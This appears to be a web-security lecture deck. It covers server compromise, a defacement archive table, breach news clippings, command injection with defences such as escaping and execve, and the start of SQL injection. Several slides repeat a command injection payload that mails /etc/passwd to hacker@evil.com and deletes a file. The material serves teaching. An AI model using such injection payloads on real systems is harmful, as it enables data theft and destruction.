Web Server Threats

• What can happen if server is compromised?
  – Compromise of underlying system
  – Gateway to enabling attacks on clients
  – Disclosure of sensitive or private information
  – Impersonation (of users to servers, or vice versa)
  – Defacement
  – (not mutually exclusive)
Web Server Threats

• What can happen if server is compromised?
  – Compromise of underlying system
  – Gateway to enabling attacks on clients
  – Disclosure of sensitive or private information
  – Impersonation (of users to servers, or vice versa)
  – Defacement
  – (not mutually exclusive)
☆ IRANIAN CYBER ARMY ☆

THIS SITE HAS BEEN HACKED BY IRANIAN CYBER ARMY

iranian.cyber.army@gmail.com
Web Server Threats

• What can happen if server is compromised?
  – Compromise of underlying system
  – Gateway to enabling attacks on clients
  – Disclosure of sensitive or private information
  – Impersonation (of users to servers, or vice versa)
  – Defacement
  – (not mutually exclusive)

• What makes the problem particularly tricky?
  – Public access
Total notifications: 160,081 of which 71,173 single ip and 88,908 mass defacements

Legend:
H - Homepage defacement
M - Mass defacement (click to view all defacements of this IP)
R - Redefacement (click to view all defacements of this site)
L - IP address location
⭐ - Special defacement (special defacements are important websites)

<table>
<thead>
<tr>
<th>Date</th>
<th>Notifier</th>
<th>H</th>
<th>M</th>
<th>R</th>
<th>L</th>
<th>Domain</th>
<th>OS</th>
<th>View</th>
</tr>
</thead>
<tbody>
<tr>
<td>2014/02/10</td>
<td>Syrian Anonymous</td>
<td>H</td>
<td>M</td>
<td>M</td>
<td></td>
<td>⭐ federalschoolofoccupationalthe...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/10</td>
<td>Syrian Anonymous</td>
<td>H</td>
<td>M</td>
<td>M</td>
<td></td>
<td>⭐ ncam.gov.ng</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/10</td>
<td>spider64</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td></td>
<td>⭐ <a href="http://www.agripunjob.gov.pk">www.agripunjob.gov.pk</a></td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/10</td>
<td>FLY BOY</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td></td>
<td>⭐ <a href="http://www.mpc.gov.ly">www.mpc.gov.ly</a></td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/10</td>
<td>Mohit Amn Security Team</td>
<td>R</td>
<td>M</td>
<td>R</td>
<td></td>
<td>⭐ kodam1-bukitbarisan.mil.id/me.php</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/10</td>
<td>nighto mearo</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td></td>
<td>⭐ <a href="http://www.army3.mi.th">www.army3.mi.th</a></td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/10</td>
<td>AL.MaX HaCker</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td></td>
<td>⭐ womenaffairs.gov.ng/Antigov.html</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>Bin LaDen Hacker</td>
<td>M</td>
<td>R</td>
<td></td>
<td></td>
<td>⭐ k.hailsa.gov.sa/x.htm</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>Bin LaDen Hacker</td>
<td>M</td>
<td>R</td>
<td></td>
<td></td>
<td>⭐ elkebar-hailedu.gov.sa/x.htm</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>Bin LaDen Hacker</td>
<td>M</td>
<td>R</td>
<td></td>
<td></td>
<td>⭐ teacher.hailsa.gov.sa/x.htm</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>Bin LaDen Hacker</td>
<td>M</td>
<td>R</td>
<td></td>
<td></td>
<td>⭐ sh.hailsa.gov.sa/x.htm</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>Bin LaDen Hacker</td>
<td>M</td>
<td>R</td>
<td></td>
<td></td>
<td>⭐ hailsa.gov.sa/x.htm</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>Bin LaDen Hacker</td>
<td>M</td>
<td>R</td>
<td></td>
<td></td>
<td>⭐ p.hailsa.gov.sa/x.htm</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>fiofa fado</td>
<td>H</td>
<td>M</td>
<td>R</td>
<td></td>
<td>⭐ m.hailsa.gov.sa</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>Maniak k4sur</td>
<td>H</td>
<td>M</td>
<td></td>
<td></td>
<td>⭐ saludogarnoso.gov.co</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>d3b~X</td>
<td>H</td>
<td>M</td>
<td></td>
<td></td>
<td>⭐ cshtd.gov.a/i/ganteng.htm</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/09</td>
<td>r00t1ng</td>
<td>H</td>
<td>M</td>
<td></td>
<td></td>
<td>⭐ <a href="http://www.ville-blancfourt.fr/r.htm">www.ville-blancfourt.fr/r.htm</a></td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/08</td>
<td>eRRoR 7rB</td>
<td>M</td>
<td>R</td>
<td></td>
<td></td>
<td>⭐ alboweb.comune.poggiofiorito.c...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/08</td>
<td>eRRoR 7rB</td>
<td>M</td>
<td>R</td>
<td></td>
<td></td>
<td>⭐ <a href="http://www.comune.poggiofiorito.ch.it">www.comune.poggiofiorito.ch.it</a></td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/08</td>
<td>Bin LaDen Hacker</td>
<td>M</td>
<td>R</td>
<td></td>
<td></td>
<td>⭐ mcc.kerala.gov.in</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/08</td>
<td>d3b~X</td>
<td>H</td>
<td>M</td>
<td></td>
<td></td>
<td>⭐ ville-rouffach.fr/ganteng.htm</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/07</td>
<td>Dr.SHA6H</td>
<td>H</td>
<td>M</td>
<td></td>
<td></td>
<td>⭐ <a href="http://www.munipacucha.gob.pe">www.munipacucha.gob.pe</a></td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2014/02/07</td>
<td>Dr.SHA6H</td>
<td>H</td>
<td>M</td>
<td></td>
<td></td>
<td>⭐ <a href="http://www.munihuanane.gob.pe">www.munihuanane.gob.pe</a></td>
<td>Linux</td>
<td>mirror</td>
</tr>
</tbody>
</table>
Web Server Threats

• What can happen if server is compromised?
  – Compromise of underlying system
  – Gateway to enabling attacks on clients
  – Disclosure of sensitive or private information
  – Impersonation (of users to servers, or vice versa)
  – Defacement
  – (not mutually exclusive)

• What makes the problem particularly tricky?
  – Public access
  – Mission creep
5.2. Accessing the LaCie Ethernet Disk mini via Web Browsers

While the LaCie Ethernet Disk mini is connected to the network, it is capable of being accessed via the Internet through your Internet browser.

Windows, Mac and Linux Users – Open your browser to http://EDmini or http://device_IP_address (the “device_IP_address” refers to the IP address that is assigned to your LaCie Ethernet Disk mini; for example, http://192.168.0.207).
Samsung SPF-85V 8-Inch Wireless Internet Photo Frame USB Mini-PC Monitor w/64MB Memory (Black) by Samsung

Available from these sellers.

1 used from $129.95

What Do Customers Ultimately Buy After Viewing This Item?

30% buy Kodak Pulse 7-Inch Digital Frame ★★★★★ (128)
   Click to see price

30% buy Toshiba DMF102XKU 10-Inch Wireless Digital Media Frame ★★★★★ (25)
   $159.99

(1) There's a web interface for the frame- you use a web browser on your network that connects to the picture frame. The web interface is horrendously slow and repeatedly "times out" while trying to access the frame.
Using the Web Interface

Your Cisco IP Phone provides a web interface to the phone that allows you to configure some features of your phone using a web browser. This chapter contains the following sections:

- Logging in to the Web Interface, page 75
- Setting Do Not Disturb, page 75
- Configuring Call Forwarding, page 76
- Configuring Call Waiting, page 76
- Blocking Caller ID, page 77
- Blocking Anonymous Calls, page 77
- Using Your Personal Directory, page 77
- Viewing Call History Lists, page 78
- Creating Speed Dials, page 79
- Accepting Text Messages, page 79
- Adjusting Audio Volume, page 80
- Changing the LCD Contrast, page 80
- Changing the Phone Menu Color Scheme, page 81
- Configuring the Phone Screen Saver, page 81
### System Information

**Router**
- Router Name: thegateway
- Router Model: Linksys WRT54G/GL/GS
- LAN MAC: 00:40:10:10:00:01
- WAN MAC: 00:26:4A:14:0E:22
- Wireless MAC: 00:40:12:10:00:AF
- WAN IP: 67.164.94.51
- LAN IP: 192.168.3.1

**Services**
- DHCP Server: Enabled
- WRT-radauth: Disabled
- Sputnik Agent: Disabled

**Memory**
- Total Available: 5.6 MB / 8.0 MB
- Free: 0.4 MB / 5.6 MB
- Used: 5.3 MB / 5.6 MB
- Buffers: 0.3 MB / 5.3 MB
- Cached: 1.2 MB / 5.3 MB
- Active: 1.0 MB / 5.3 MB
- Inactive: 0.4 MB / 5.3 MB

**Space Usage**

### Wireless
- Radio: Radio is On
- Mode: AP
- Network: Mixed
- SSID: wap2
- Channel: 2
- TX Power: 71 mW
- Rate: 54 Mbps
<table>
<thead>
<tr>
<th>Setup/Configuration</th>
</tr>
</thead>
<tbody>
<tr>
<td>Web user interface</td>
</tr>
<tr>
<td>Management</td>
</tr>
<tr>
<td>Web browser</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>Event logging</td>
</tr>
<tr>
<td>Web firmware upgrade</td>
</tr>
</tbody>
</table>
Cisco Security Agent Web Management Interface Bug Lets Remote Users Execute Arbitrary Code

SecurityTracker Alert ID: 1025088
SecurityTracker URL: http://securitytracker.com/id/1025088
CVE Reference: CVE-2011-0364 (Links to External Site)
Date: Feb 16 2011
Impact: Execution of arbitrary code via network, User access via network
Fix Available: Yes Vendor Confirmed: Yes
Version(s): 5.1, 5.2, and 6.0
Description: A vulnerability was reported in Cisco Security Agent. A remote user can execute arbitrary code on the target system.

A remote user can send specially crafted data to the web management interface on TCP port 443 to execute arbitrary code on the target system. This can be exploited to modify agent policies and the system configuration and perform other administrative tasks.

Cisco has assigned Cisco Bug ID CSCtj51216 to this vulnerability.

Gerry Eisenhaur reported this vulnerability via ZDI.

Impact: A remote user can execute arbitrary code on the target system.
Solution: The vendor has issued a fix (6.0.2.145).

The vendor's advisory is available at:
Interacting With Web Servers

- An interaction with a web server is expressed in terms of a URL (plus an optional data item)
- URL components:
  
  http://coolsite.com/tools/info.html
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)

• URL components:

  http://coolsite.com/tools/info.html

  E.g., “http” or “ftp” or “https”
  (These all use TCP.)
Interacting With Web Servers

- An interaction with a web server is expressed in terms of a URL (plus an optional data item)
- URL components:
    - Hostname of server
    - Translated to an IP address via DNS
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)

• URL components:
  
  http://coolsite.com/tools/info.html

Here, the resource ("info.html") is **static content** = a fixed file returned by the server.

(Often static content is an *HTML* file = content plus markup for how browser should “render” it.)
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:
  http://coolsite.com/tools/doit.php
  Path to a resource

Resources can instead be dynamic
  = server generates the page on-the-fly.

Some common frameworks for doing this:
  CGI = run a program or script, return its stdout
  PHP = execute script in HTML templating language
Interacting With Web Servers

- An interaction with a web server is expressed in terms of a URL (plus an optional data item)
- URL components:

URLs for dynamic content generally include arguments to pass to the generation process.
Interacting With Web Servers

- An interaction with a web server is expressed in terms of a URL (plus an optional data item)
- URL components:

First argument to doit.php
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:

Second argument to doit.php
Simple Service Example

• Allow users to search the local phonebook for any entries that match a regular expression

• Invoked via URL like:
  http://harmless.com/phonebook.cgi?regex=<pattern>

• So for example:
  http://harmless.com/phonebook.cgi?regex=alice.*smith
  searches phonebook for any entries with “alice” and then later “smith” in them

• (Note: web surfer doesn’t enter this URL themselves; an HTML form, or possibly Javascript running in their browser, constructs it from what they type)
Simple Service Example, cont.

- Assume our server has some “glue” that parses URLs to extract parameters into C variables
  - and returns stdout to the user
- Simple version of code to implement search:

```c
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
        "grep %s phonebook.txt", regex);
    system(cmd);
}
```
/* print any employees whose name 
 * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
            "grep %s phonebook.txt", regex);
    system(cmd);
}

Instead of http://harmless.com/phonebook.cgi?
    regex=alice.*smith
How about http://harmless.com/phonebook.cgi?regex=foo;
    %20mail
    %20-s%20hacker@evil.com%20</etc/passwd;%20rm

%20 is an escape sequence
that expands to a space (' ')
/* print any employees whose name matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    sprintf(cmd, sizeof cmd,
        "grep %s phonebook.txt", regex);
    system(cmd);
}

Instead of http://harmless.com/phonebook.cgi?
    regex=alice.*smith
How about http://harmless.com/phonebook.cgi?regex=foo;
    %20mail
    %20-s%20hacker@evil.com%20</etc/passwd;%20rm
⇒ "grep foo; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"
Instead of

http://harmless.com/phonebook.cgi?regex=alice|bob

How about

http://harmless.com/phonebook.cgi?regex=foo;%20mail;%20-s%20hacker@evil.com%20</etc/passwd;%20rm

⇒ "grep foo; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"

/* print any employees whose name matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
             "grep %s phonebook.txt", regex);
    system(cmd);
}

Problems?

Control information, not data
How To Fix Command Injection?

snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);

• One general defense: input sanitization
  – Look for anything nasty in the input …
  – … and “defang” it / remove it / escape it

• Seems simple enough, but:
  – Tricky to get right (as we’re about to see!)
  – Brittle: if you get it wrong & miss something, you lose
    • Attack slips past!
  – Approach in general is a form of “default allow”
    • i.e., input is by default okay, only known problems are removed
How To Fix Command Injection?

```
snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);
```

Simple idea: *quote* the data to enforce that it’s indeed interpreted as data …

⇒ "grep 'foo; mail -s hacker@evil.com </etc/passwd; rm' phonebook.txt"

Argument is back to being **data**; a single (large/messy) pattern to grep

Problems?
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);
...regex=foo'; mail -s hacker@evil.com </etc/passwd; rm'

⇒ "grep 'foo'; mail -s hacker@evil.com </etc/passwd; rm' ' phonebook.txt"

Whoops, control information again, not data

Fix?
How To Fix **Command Injection**?

```c
snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);

...regex=foo'; mail -s hacker@evil.com </etc/passwd; rm'

Okay, first scan *regex* and strip ' - does that work?

No, now can’t do legitimate search on “0'Malley”.
```
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);

...regex=foo'; mail -s hacker@evil.com </etc/passwd; rm'

Okay, then scan regex and escape ' .... ?
legit regex ⇒ O'Malley
```
How To Fix *Command Injection*?

```c
snprintf(cmd, sizeof cmd,
   "grep '%s' phonebook.txt", regex);

...regex=foo\'; mail -s hacker@evil.com </etc/passwd; rm \\

Rule alters:
   ...regex=foo\'; mail ... ⇒ ...regex=foo\"'; mail ...

Now grep is invoked:
⇒ "grep \"foo\\\"'; mail -s hacker@evil.com </etc/passwd; rm \" phonebook.txt"
```

Argument to grep is “foo\””
How To Fix *Command Injection*?

```c
snprintf(cmd, sizeof(cmd,
    "grep '%s' phonebook.txt", regex);

...regex=foo\'; mail -s hacker@evil.com </etc/passwd; rm \\

Rule alters:
...regex=foo\'; mail ... ⇒ ...regex=foo\'; mail ...

Now grep is invoked:
⇒ "grep 'foo\'; mail -s hacker@evil.com </etc/passwd; rm \" phonebook.txt"
```

*Sigh, again control information, not data*
How To Fix *Command Injection*?

```c
snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);
...
regex=foo'\'; mail -s hacker@evil.com </etc/passwd; rm \\

Okay, then scan regex and escape ' and \ .... ?
...
regex=foo'\'; mail ... ⇒ ...regex=foo\\\\'; mail ...

⇒ "grep 'foo\\\\'; mail -s hacker@evil.com </etc/passwd; rm \" phonebook.txt"
```

Are we done?

Yes! - *assuming* we take care of all of the ways escapes can occur …
Issues With *Input Sanitization*

• In principle, can prevent injection attacks by properly *sanitizing* input
  – Remove inputs with *meta-characters*
    • (can have “collateral damage” for benign inputs)
  – Or *escape* any meta-characters (including escape characters!)
    • Requires a *complete* model of how input subsequently processed
      – E.g. …regex=foo%27; mail …

• But: easy to get wrong!
• Better: *avoid using a feature-rich API* (if possible)
  – KISS + defensive programming
This is the core problem.

`system()` provides *too much functionality!*
- treats arguments passed to it as full shell command

If instead we could *just run grep directly*, no opportunity for attacker to sneak in other shell commands!
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10];/* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;

    argv[argc++] = path; /* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;

    envp[0] = 0;

    if ( execve(path, argv, envp) < 0 )
        command_failed(......);
/ * print any employees whose name * matches the given regex */ void find_employee(char *regex) {  
char *path = "/usr/bin/grep";  
char *argv[10];/* room for plenty of args */  
char *envp[1]; /* no room since no env. */  
int argc = 0;  
argv[argc++] = path; /* argv[0] = prog name */  
argv[argc++] = "-e"; /* force regex as pat. */  
argv[argc++] = regex;  
argv[argc++] = "phonebook.txt";  
argv[argc++] = 0;  
envp[0] = 0;  
if (execve(path, argv, envp) < 0)  
    command_failed(.....); }
/* print any employees whose name 
* matches the given regex */
void find_employee(char *regex)
{

    char *path = "/usr/bin/grep";
    char *argv[10];/* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path;/* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;
    envp[0] = 0;

    if ( execve(path, argv, envp) < 0 )
        command_failed(.....);
}
/ * print any employees whose name 
  * matches the given regex */
void find_employee(char *regex)
{
  char *path = "/usr/bin/grep";
  char *argv[10]; /* room for plenty of args */
  char *envp[1]; /* no room since no env. */
  int argc = 0;
  argv[argc++] = path; /* argv[0] = prog name */
  argv[argc++] = "-e"; /* force regex as pat. */
  argv[argc++] = regex;
  argv[argc++] = "phonebook.txt";
  argv[argc++] = 0;
  envp[0] = 0;
  if (execve(path, argv, envp) < 0)
    command_failed(
      ....
    );
}
Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the United Nations and in the U.K. government -- have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors' machines.

Update, April 29, 11:28 a.m. ET: In a post to one of its blogs, Microsoft says this attack was not the fault of a flaw in IIS: "...our investigation has shown that there are no new or unknown vulnerabilities being exploited. The attacks are facilitated by SQL injection exploits and are not issues related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies. SQL injection attacks enable malicious users to execute commands in an application’s database. To protect against SQL injection attacks the
From the looks of it, however, one out of three people suspects an **SQL injection**, in which attackers exploited vulnerabilities in the Web site. Markovich also questioned whether nobody noticed the hack for six months, a possibility that is possible but unlikely.

**UC Berkeley computers hacked, 160,000 at risk**

by Michelle Meyers

May 8, 2009 1:53 PM PDT

*This post was updated at 2:16 p.m. PDT with comment from an outside database security software vendor.*

Hackers broke into the University of California at Berkeley's health services center computer and potentially stole the personal information of more than 160,000 students, alumni, and others, the university announced Friday.

At particular risk of identity theft are some 97,000 individuals whose Social Security numbers were accessed in the breach, but it's still unclear whether hackers were able to match up those SSNs with individual names, Shelton Waqqener, UCB's chief technology officer, said in a press conference Friday afternoon.
‘Operation Payback’ Attacks Fell Visa.com

By ROBERT MACKEY

TARGET: WWW.VISA.COM :: FIRE FIRE FIRE!!! WEAPONS http://bit.ly/e6iR3X :::: SET YOUR LOIC TO irc.anonops.net :::: #DDOS #PAYBACK #WIKILEAKS

11 minutes ago via web
Retweeted by 100+ people

Anon_Operation
Operation Payback

A message posted on Twitter by a group of Internet activists announcing the start of an attack on Visa’s Web site, in retaliation for the company’s actions against WikiLeaks.

Last Updated | 6:54 p.m. A group of Internet activists took credit for crashing the Visa.com Web site on Wednesday afternoon, hours after they launched a similar attack on MasterCard. The cyber attacks, by activists who call themselves Anonymous, are aimed at punishing companies that have acted to stop the flow of donations to WikiLeaks in recent days.

The group explained that its distributed denial of service attacks — in which they essentially flood Web sites site with traffic to slow them down or knock them offline — were part of a broader effort called Operation Payback, which

Anonymous speaks: the inside story of the HBGary hack

By Peter Bright | Last updated a day ago

The hbgaryfederal.com CMS was susceptible to a kind of attack called **SQL injection**. In common with other CMSes, the hbgaryfederal.com CMS stores its data in an SQL database, retrieving data from that database with suitable queries. Some queries are fixed—an integral part of the CMS application itself. Others, however, need parameters. For example, a query to retrieve an article from the CMS will generally need a parameter corresponding to the article ID number. These parameters are, in turn, generally passed from the Web front-end to the CMS.

It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had **unmasked the hacker hordes of Anonymous** and was preparing to name and shame those responsible for co-ordinating the group’s actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

When Barr **told** one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HBGary’s servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. As an added bonus, a second site owned
Structure of Modern Web Services

Browser

URL / Form

command.php?
arg1=x&arg2=y

Web server
Structure of Modern Web Services

Browser

URL / Form
command.php?arg1=x&arg2=y

Web server

Database query built from x and y

Database server
Structure of Modern Web Services

Browser

Custom data corresponding to x & y

Web server

Database server
Structure of Modern Web Services

Browser

Web page built using custom data

Web server

Database server
Databases

- Management of groups (tuples) of related values

<table>
<thead>
<tr>
<th></th>
<th>Customer</th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>AcctNum</td>
<td>Username</td>
<td>Balance</td>
</tr>
<tr>
<td>1199</td>
<td>zuckerberg</td>
<td>7746533.71</td>
<td></td>
</tr>
<tr>
<td>0501</td>
<td>bgates</td>
<td>4412.41</td>
<td></td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td></td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td></td>
</tr>
</tbody>
</table>
Databases

- Management of groups (tuples) of related values
- Widely used by web services to track per-user information
- Database runs as separate process to which web server connects
  - Web server sends queries or commands customized by incoming HTTP request
  - Database server returns associated values
  - Database server can instead modify/update values

<table>
<thead>
<tr>
<th>Customer</th>
<th>AcctNum</th>
<th>Username</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1199</td>
<td>zuckerberg</td>
<td>7746533.71</td>
</tr>
<tr>
<td></td>
<td>0501</td>
<td>bgates</td>
<td>4412.41</td>
</tr>
<tr>
<td></td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td></td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
SQL

• Widely used database query language
  – (Pronounced “ess-cue-ell” or “sequel”)

• Fetch a set of records (simplified):

  SELECT field FROM table WHERE condition

  returns the value(s) of the given field in the specified table, for all records where condition is true.

• E.g:

  SELECT Balance FROM Customer WHERE Username='bgates'

  will return the value 4412.41
• Can add data to the table (or modify):

  ```sql
  INSERT INTO Customer
  VALUES (8477, 'oski', 10.00) -- oski has ten buckaroos
  ```
<table>
<thead>
<tr>
<th>AcctNum</th>
<th>Username</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td>1199</td>
<td>zuckerberg</td>
<td>7746533.71</td>
</tr>
<tr>
<td>0501</td>
<td>bgates</td>
<td>4412.41</td>
</tr>
<tr>
<td>8477</td>
<td>oski</td>
<td>10.00</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
SQL, cont.

- Can add data to the table (or modify):
  ```sql
  INSERT INTO Customer
  VALUES (8477, 'oski', 10.00) -- oski has ten buckaroos
  ```

- Or even delete entire tables:
  ```sql
  DROP Customer
  ```

- Semicolons separate commands:
  ```sql
  INSERT INTO Customer VALUES (4433, 'vladimir', 888.99);
  SELECT AcctNum FROM Customer
  WHERE Username='vladimir'
  ```

  returns 4433.
SQL Injection Scenario

- Suppose web server front end stores URL parameter “recipient” in variable $recipient and then builds up a string with the following SQL query:

$\text{sql} = "\text{SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username='} \$\text{recipient}' \text{"} ;$

- Query accesses recipient’s account if their balance is < 100.

- Web server will send value of $\text{sql}$ variable to database server to get account #s from database
SQL Injection Scenario

• Suppose web server front end stores URL parameter “recipient” in variable $recipient and then builds up a string with the following SQL query:

```php
$sql = "SELECT AcctNum FROM Customer
WHERE Balance < 100 AND
Username='$recipient' ";
```

• So for “?recipient=Bob” the SQL query is:

```sql
"SELECT AcctNum FROM Customer
WHERE Balance < 100 AND
Username='Bob' 
"
SELECT AcctNum FROM Customer
WHERE Balance < 100 AND Username='Bob'
SQL Injection Scenario

• Suppose web server front end stores URL parameter “recipient” in variable $recipient and then builds up a string with the following SQL query:

```
$sql = "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username='$recipient' ";
```

• How can $recipient cause trouble here?
  – How can we see anyone’s account?
    • Even if their balance is >= 100